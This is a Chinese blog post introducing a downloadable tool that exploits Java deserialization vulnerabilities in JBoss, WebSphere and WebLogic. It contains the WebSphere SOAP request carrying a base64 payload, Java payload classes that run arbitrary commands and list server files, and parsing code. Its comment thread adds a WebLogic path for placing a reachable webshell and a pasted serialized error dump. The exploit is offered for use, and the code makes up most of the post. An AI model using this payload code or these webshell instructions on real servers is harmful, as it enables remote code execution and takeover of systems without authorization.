wooyaa的学习笔记

生命不息,折腾不止

Java反序列化漏洞已经被曝出一段时间了,本人参考了网上大神的放出来的工具,将Jboss、Websphere和weblogic的反序列化漏洞的利用集成到了一起。FreeBuf上已经公开了JBoss反序列化执行命令回显的工具,在本文中就不多做叙述了。其实,WebSphere的利用过程也和JBoss差不多,只不过在发送Payload和解析结果的时候多了个Base64编码(解码)的过程。
本工具暂时支持的功能:
1、本地命令执行并回显,无须加载外部jar包,支持纯内网环境检测。
2、支持JBoss、WebSphere和Weblogic的反序列化漏洞检测。
3、支持https数据传输。
4、支持文件目录列表。

 

0X01 WebSphere的反序列化漏洞利用过程


WebSphere的反序列化漏洞发生的位置在SOAP的通信端口8880,使用的通信协议是https,发送的数据是XML格式的数据。

<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0">
<LoginMethod>BasicAuth</LoginMethod>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">Base64(payload)</objectname>
<attribute xsi:type="xsd:string">ringBufferSize</attribute>
</ns1:getAttribute>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

将我们构造的执行命令的payload通过base64编码后放在objectname节点中,通过https发送到服务器端,服务器端调用相应的执行函数,将结果发送给客户端,同样的,返回的数据也是经过base64编码的。
WebSphere的Payload和JBoss的基本一致。如下是执行命令的payload。

public RunCommand(String command) throws Exception
    {       
        Process proc = Runtime.getRuntime().exec(command);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null)
        {
            sb.append(line).append("\n");
        }
        String result = "\r\n\r\n==========" + sb.toString() + "==========\r\n";
        br.close();
        Exception e=new Exception(result);
        throw e;
    }

将命令执行结果以字符隔开,这样在客户端获取数据后,可通过split、substring等方法对命令的执行结果进行解析。解析命令的源码如下:

public static String parseResult(String result)
    {
        String tmp=result.split("<faultstring>")[1];
        String reString=tmp.split("</faultstring>")[0];
        String resultTmp=new String(Base64.getDecoder().decode(reString));
        int x1=resultTmp.indexOf("==========")+10;
        int x2=resultTmp.lastIndexOf("==========")-1;
        String returnValue="";
        if(x1>=0&&x2>=0)
            returnValue=resultTmp.substring(x1, x2).trim();
        else
            returnValue=resultTmp;
        return returnValue;
    }

 

0X02 文件列表读取


获取文件列表的功能是通过Java的listRoot和listFiles来实现的,获取文件和目录列表的过程和命令执行大概相同。在这我就简单的描述一下过程:如果传入方法的是一个空值,那么就通过Files.listRoot获取根目录或者驱动器列表,否则,传入的值是路径的话,就通过file.listFiles方法获取目录下的所有文件和目录,将获取到的目录名放到{}中,将文件名放在[]中,这样,就方便我们在程序中对获取到的数据进行解析。
获取目录的payload代码如下:

public GetFileList(String fileName) throws Exception
    {
        StringBuilder sb=new StringBuilder();
        String result=new String();
        if(fileName.isEmpty())
        {
            File[] files=File.listRoots();
            for(int i=0;i<files.length;i++)
            {
                sb.append(files[i].getAbsolutePath()).append(",");
            }
            result="{"+sb.toString().substring(0,sb.toString().length()-1)+"}";
        }
        else
        {
            File file=new File(fileName);
            StringBuilder dirList=new StringBuilder();
            StringBuilder fileList=new StringBuilder();
            if(file.isDirectory())
            {
                File[] list=file.listFiles();
                dirList.append("{");
                fileList.append("[");
                for(int i=0;i<list.length;i++)
                {
                    if(list[i].isDirectory())
                        dirList.append(list[i].getAbsolutePath()).append(",");
                    else
                        fileList.append(list[i].getAbsolutePath()).append(",");
                }
            }
            if(!dirList.toString().isEmpty())
                sb.append(dirList.toString().substring(0,dirList.toString().length()-1)).append("}");
            if(!fileList.toString().isEmpty())
                sb.append(fileList.toString().substring(0,fileList.toString().length()-1)).append("]");
            result=sb.toString();
        }
        result="\r\n\r\n==========\r\n"+result+"\r\n==========\r\n";
        Exception e=new Exception(result);
        throw e;
    }

解析的时候,先将执行结果分离出来,再对结果base64解码,再进一步区分目录和文件,分别添加到界面的目录树中。

注:设计时为了美观,使用了JavaFX来设计界面,运行时需要JDK1.8环境。
程序运行效果如下:

444.png

地址: http://pan.baidu.com/s/1jGSEFFS 密码: si6t

更新内容:
1.多线程处理任务,解决命令执行过程中界面无法响应的问题
2.[Bug Fix]weblogic console端口改为80时无法获取数据
3.[Bug Fix]weblogic第一次获取信息或执行命令响应时间过长的问题

*本文中的工具由我的小伙伴6哥原创,转载请提及6哥以及原文链接,其他均参照MIT协议。


已有 31 条评论 »

  1. NULL NULL

    挺值得学习的、

  2. 牛逼~~~

    1. 好好说话。。。。。。

  3. 666 666

    666

  4. tuboshu tuboshu

    百度云盘链接失效啦。。。。。

    1. 没问题啊。。╮(╯_╰)╭

  5. tuboshu tuboshu

    方便再发一个么^@^

    1. 刚看了一下,能正常下载啊~有什么问题可以邮件我~

  6. [...]本文转自:wooyaa[...]

  7. [...]*作者:wooyaa,工具作者6哥,文章首发于wooyaa,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)[...]

  8. 建议每个需要执行的功能使用JAVA 的线程方式来解决,可以解决点了按钮无响应的问题

    1. 好的。。研究一下~感谢建议

    2. 已经完成了~感谢建议

  9. 野狗 野狗

    wooyaa兄,请问你的工具连接WebLogic后上传的webshell应该存放在哪个位置才能被访问呢?

    1. 比如:
      weblogic的主机,可以将webshell上传到......../wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/xxx.jsp
      路径:
      http://xx.xx.xx.xx:7001/console/framework/skins/wlsconsole/images/xxx.jsp

  10. xxx xxx

    ��sr$org.jboss.invocation.MarshalledValue�����JЙxpz!��sr(org.jboss.invocation.InvocationException�T��ӄJLcausetLjava/lang/Throwable;xrjava.lang.Exception��>;�xrjava.lang.Throwable��5'9w��Lcauseq~LdetailMessagetLjava/lang/String;[
    stackTracet[Ljava/lang/StackTraceElement;xpq~pur[Ljava.lang.StackTraceElement;F*<<�"9xp%srjava.lang.StackTraceElementa Ś&6݅I
    lineNumberLdeclaringClassq~LfileNameq~L
    methodNameq~xp�t0org.jboss.invocation.http.servlet.InvokerServlettInvokerServlet.javatprocessRequestsq~ �q~q~tdoPostsq~ �tjavax.servlet.http.HttpServlettHttpServlet.javatservicesq~ *q~q~q~sq~ �t/org.apache.catalina.core.ApplicationFilterChaintApplicationFilterChain.javatinternalDoFiltersq~ �q~q~tdoFiltersq~ t.org.jboss.web.tomcat.filters.ReplyHeaderFiltertReplyHeaderFilter.javaq~sq~ �q~q~q~sq~ �q~q~q~sq~ �t-org.apache.catalina.core.StandardWrapperValvetStandardWrapperValve.javatinvokzesq~ ht-org.apache.catalina.core.StandardValveContexttStandardValveContext.javat invokeNextsq~ t)org.apache.catalina.core.StandardPipelinetStandardPipeline.javaq~#sq~ �t-org.apache.catalina.core.StandardContextValvetStandardContextValve.javatinvokeInternalsq~ �q~,q~-q~#sq~ hq~%q~&q~'sq~ Qt2org.jboss.web.tomcat.security.CustomPrincipalValvetCustomPrincipalValve.javaq~#sq~ fq~%q~&q~'sq~ �t6org.jboss.web.tomcat.security.SecurityAssociationValvetSecurityAssociationValve.javaq~#sq~ fq~%q~&q~'sq~ �t3org.apache.catalina.authenticator.AuthenticatorBasetAuthenticatorBase.javaq~#sq~ fq~%q~&q~'sq~ q~)q~*q~#sq~ �t*org.apache.catalina.core.StandardHostValvetStandardHostValve.javaq~#sq~ hq~%q~&q~'sq~ vt+org.apache.catalina.valves.ErrorReportValvetErrorReportValve.javaq~#sq~ fq~%q~&q~'sq~ q~)q~*q~#sq~ mt,org.apache.catalina.core.StandardEngzineValvetStandardEngineValve.javaq~#sq~ hq~%q~&q~'sq~ q~)q~*q~#sq~ �t&org.apache.catalina.core.ContainerBasetContainerBase.javaq~#sq~ �t'org.apache.coyote.tomcat5.CoyoteAdaptertCoyoteAdapter.javaq~sq~ t(org.apache.coyote.http11.Http11ProcessortHttp11Processor.javatprocesssq~ �t?org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandlertHttp11Protocol.javatprocessConnectionsq~ At*org.apache.tomcat.util.net.TcpWorkerThreadtPoolTcpEndpoint.javatrunItsq~ �t9org.apache.tomcat.util.threads.ThreadPool$ControlRunnabletThreadPool.javatrunsq~ Stjava.lang.ThreadtThread.javaq~axsr/org.apache.commons.collections.FunctorException�!�d�L rootCauseq~xrjava.lang.RuntimeException�_G 4��xq~q~gtInvokerTransformer: The method 'loadClass' on 'class java.net.URLClassLoader' threw an exceptionuq~2sq~ �t:org.apache.commons.collections.functors.InvokerTransformertInvokerTransformer.javat transfzormsq~ {t:org.apache.commons.collections.functors.ChainedTransformertChainedTransformer.javaq~msq~ �t1org.apache.commons.collections.map.TransformedMaptTransformedMap.javatcheckSetValuesq~ �tLorg.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntryt%AbstractInputCheckedMapDecorator.javatsetValuesq~ Nt2sun.reflect.annotation.AnnotationInvocationHandlert AnnotationInvocationHandler.javat
    readObjectsq~ ����t&sun.reflect.GeneratedMethodAccessor544pq~#sq~ t(sun.reflect.DelegatingMethodAccessorImplt!DelegatingMethodAccessorImpl.javaq~#sq~ Itjava.lang.reflect.MethodtMethod.javaq~#sq~ �tjava.io.ObjectStreamClasstObjectStreamClass.javatinvokeReadObjectsq~ tjava.io.ObjectInputStreamtObjectInputStream.javatreadSerialDatasq~ �q~�q~�treadOrdinaryObjectsq~ q~�q~�treadObject0sq~ \q~�q~�q~|sq~ �q~q~q~sq~ �q~q~q~sq~ �q~q~q~sq~ *q~q~q~zsq~ �q~q~q~sq~ �q~q~q~sq~ q~q~q~sq~ �q~q~q~sq~ �q~q~q~sq~ �q~!q~"q~#sq~ hq~%q~&q~'sq~ q~)q~*q~#sq~ �q~,q~-q~.sq~ �q~,q~-q~#sq~ hq~%q~&q~'sq~ Qq~2q~3q~#sq~ fq~%q~&q~'sq~ �q~6q~7q~#sq~ fq~%q~&q~'sq~ �q~:q~;q~#sq~ fq~%q~&q~'sq~ q~)q~*q~#sq~ �q~?q~@q~#sq~ hq~%q~&q~'sq~ vq~Cq~Dq~#sq~ fq~%q~&q~'sq~ q~)q~*q~#sq~ mq~Hq~Iq~#sq~ hq~%q~&q~'sq~ q~)q~*q~#sq~ �q~Mq~Nq~#sq~ �q~Pq~Qq~sq~ q~Sq~Tq~Usq~ �q~Wq~Xq~Ysq~ Aq~[q~\q~]sq~ �q~_q~q~asq~ Sq~cq~dq~axsr+java.lang.reflect.InvocationTargetException8�&��q$oLtargetq~xq~ppuq~6sq~ ����t$sun.reflect.NativeMethodAccessorImpltNativeMethodAccessorImpl.javatinvoke0sq~ 'q~�qz~�q~#sq~ q~�q~�q~#sq~ Iq~�q~�q~#sq~ ~q~kq~lq~msq~ {q~oq~pq~msq~ �q~rq~sq~tsq~ �q~vq~wq~xsq~ Nq~zq~{q~|sq~ ����q~~pq~#sq~ q~�q~�q~#sq~ Iq~�q~�q~#sq~ �q~�q~�q~�sq~ q~�q~�q~�sq~ �q~�q~�q~�sq~ q~�q~�q~�sq~ \q~�q~�q~|sq~ �q~q~q~sq~ �q~q~q~sq~ �q~q~q~sq~ *q~q~q~sq~ �q~q~q~sq~ �q~q~q~sq~ q~q~q~sq~ �q~q~q~sq~ �q~q~q~sq~ �q~!q~"q~#sq~ hq~%q~&q~'sq~ q~)q~*q~#sq~ �q~,q~-q~.sq~ �q~,q~-q~#sq~ hq~%q~&q~'sq~ Qq~2q~3q~#sq~ fq~%q~&q~'sq~ �q~6q~7q~#sq~ fq~%q~&q~'sq~ �q~:q~;q~#sq~ fq~%q~&q~'sq~ q~)q~*q~#sq~ �q~?q~@q~#sq~ hq~%q~&q~'sq~ vq~Cq~Dq~#sq~ fq~%q~z&q~'sq~ q~)q~*q~#sq~ mq~Hq~Iq~#sq~ hq~%q~&q~'sq~ q~)q~*q~#sq~ �q~Mq~Nq~#sq~ �q~Pq~Qq~sq~ q~Sq~Tq~Usq~ �q~Wq~Xq~Ysq~ Aq~[q~\q~]sq~ �q~_q~q~asq~ Sq~cq~dq~axsr&java.lang.UnsupportedClassVersionError�%K�'�cxrjava.lang.ClassFormatError�%�!��uxrjava.lang.LinkageError1�KU4�J�xrjava.lang.ErrorE6V��Vxq~q~�t!Bad version number in .class fileuq~@sq~ ����tjava.lang.ClassLoadertClassLoader.javatdefineClass1sq~ lq~�q~�tdefineClasssq~ |tjava.security.SecureClassLoadertSecureClassLoader.javaq~�sq~ tjava.net.URLClassLoadertURLClassLoader.javaq~�sq~ 8q~q~t
    access$100sq~ �tjava.net.URLClassLoader$1q~q~asq~ ����tjava.security.AccessControllertAccessController.javatdoPrivilegedsq~ �q~q~t findClasssq~ 2q~�q~�t loadClasssq~ �q~�q~�q~sq~ ����q~�q~�q~�sq~ z'q~�q~�q~#sq~ q~�q~�q~#sq~ Iq~�q~�q~#sq~ ~q~kq~lq~msq~ {q~oq~pq~msq~ �q~rq~sq~tsq~ �q~vq~wq~xsq~ Nq~zq~{q~|sq~ ����q~~pq~#sq~ q~�q~�q~#sq~ Iq~�q~�q~#sq~ �q~�q~�q~�sq~ q~�q~�q~�sq~ �q~�q~�q~�sq~ q~�q~�q~�sq~ \q~�q~�q~|sq~ �q~q~q~sq~ �q~q~q~sq~ �q~q~q~sq~ *q~q~q~sq~ �q~q~q~sq~ �q~q~q~sq~ q~q~q~sq~ �q~q~q~sq~ �q~q~q~sq~ �q~!q~"q~#sq~ hq~%q~&q~'sq~ q~)q~*q~#sq~ �q~,q~-q~.sq~ �q~,q~-q~#sq~ hq~%q~&q~'sq~ Qq~2q~3q~#sq~ fq~%q~&q~'sq~ �q~6q~7q~#sq~ fq~%q~&q~'sq~ �q~:q~;q~#sq~ fq~%q~&q~'sq~ q~)q~*q~#sq~ �q~?q~@q~#sq~ hq~%q~&q~'sq~ vq~Cq~Dq~#sq~ fqz&~%q~&q~'sq~ q~)q~*q~#sq~ mq~Hq~Iq~#sq~ hq~%q~&q~'sq~ q~)q~*q~#sq~ �q~Mq~Nq~#sq~ �q~Pq~Qq~sq~ q~Sq~Tq~Usq~ �q~Wq~Xq~Ysq~ Aq~[q~\q~]sq~ �q~_q~q~asq~ Sq~cq~dq~ax a�x

  11. xxx xxx

    网站低权限入jboss就会造成楼上的错误,求软件作者改进

  12. 1 1

    80端口的weblogic还是获取不了数据

    1. 是的。。。这个没解决

  13. krbl krbl

    打开软件小圈一直在转。。。。。什么原因啊?求解。。。。。

    1. 看不到具体情况。。。不太能判断。。。

  14. 80端口还是打不了啊 23333

  15. [...]*作者:wooyaa,工具作者6哥,文章首发于wooyaa,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)[...]

  16. 能不能求套源码呀,想好好研究研究

  17. dbdml dbdml

    经常出现
    放到服务器上运行有返回
    在客户端连服务器运行很长时间无响应
    不知道什么情况

  18. john john

    不错,很值得学习。但是检测weblogic过程中,很多https的,都没有响应。

  19. 呀呀 呀呀

    weblogic可以远程命令,上传WAR,但是激活不了WAR,怎么拿webshell,很困惑。另你工具中提供的webshell脚本传上去后,连接URL是什么?盼解疑。

  20. 私

    你好,请问Base64(payload)那里的payload是jsp的还是java,或者说直接就是bash命令?

  21. [...]本文转自:wooyaa[...]

添加新评论 »

在这里输入你的评论...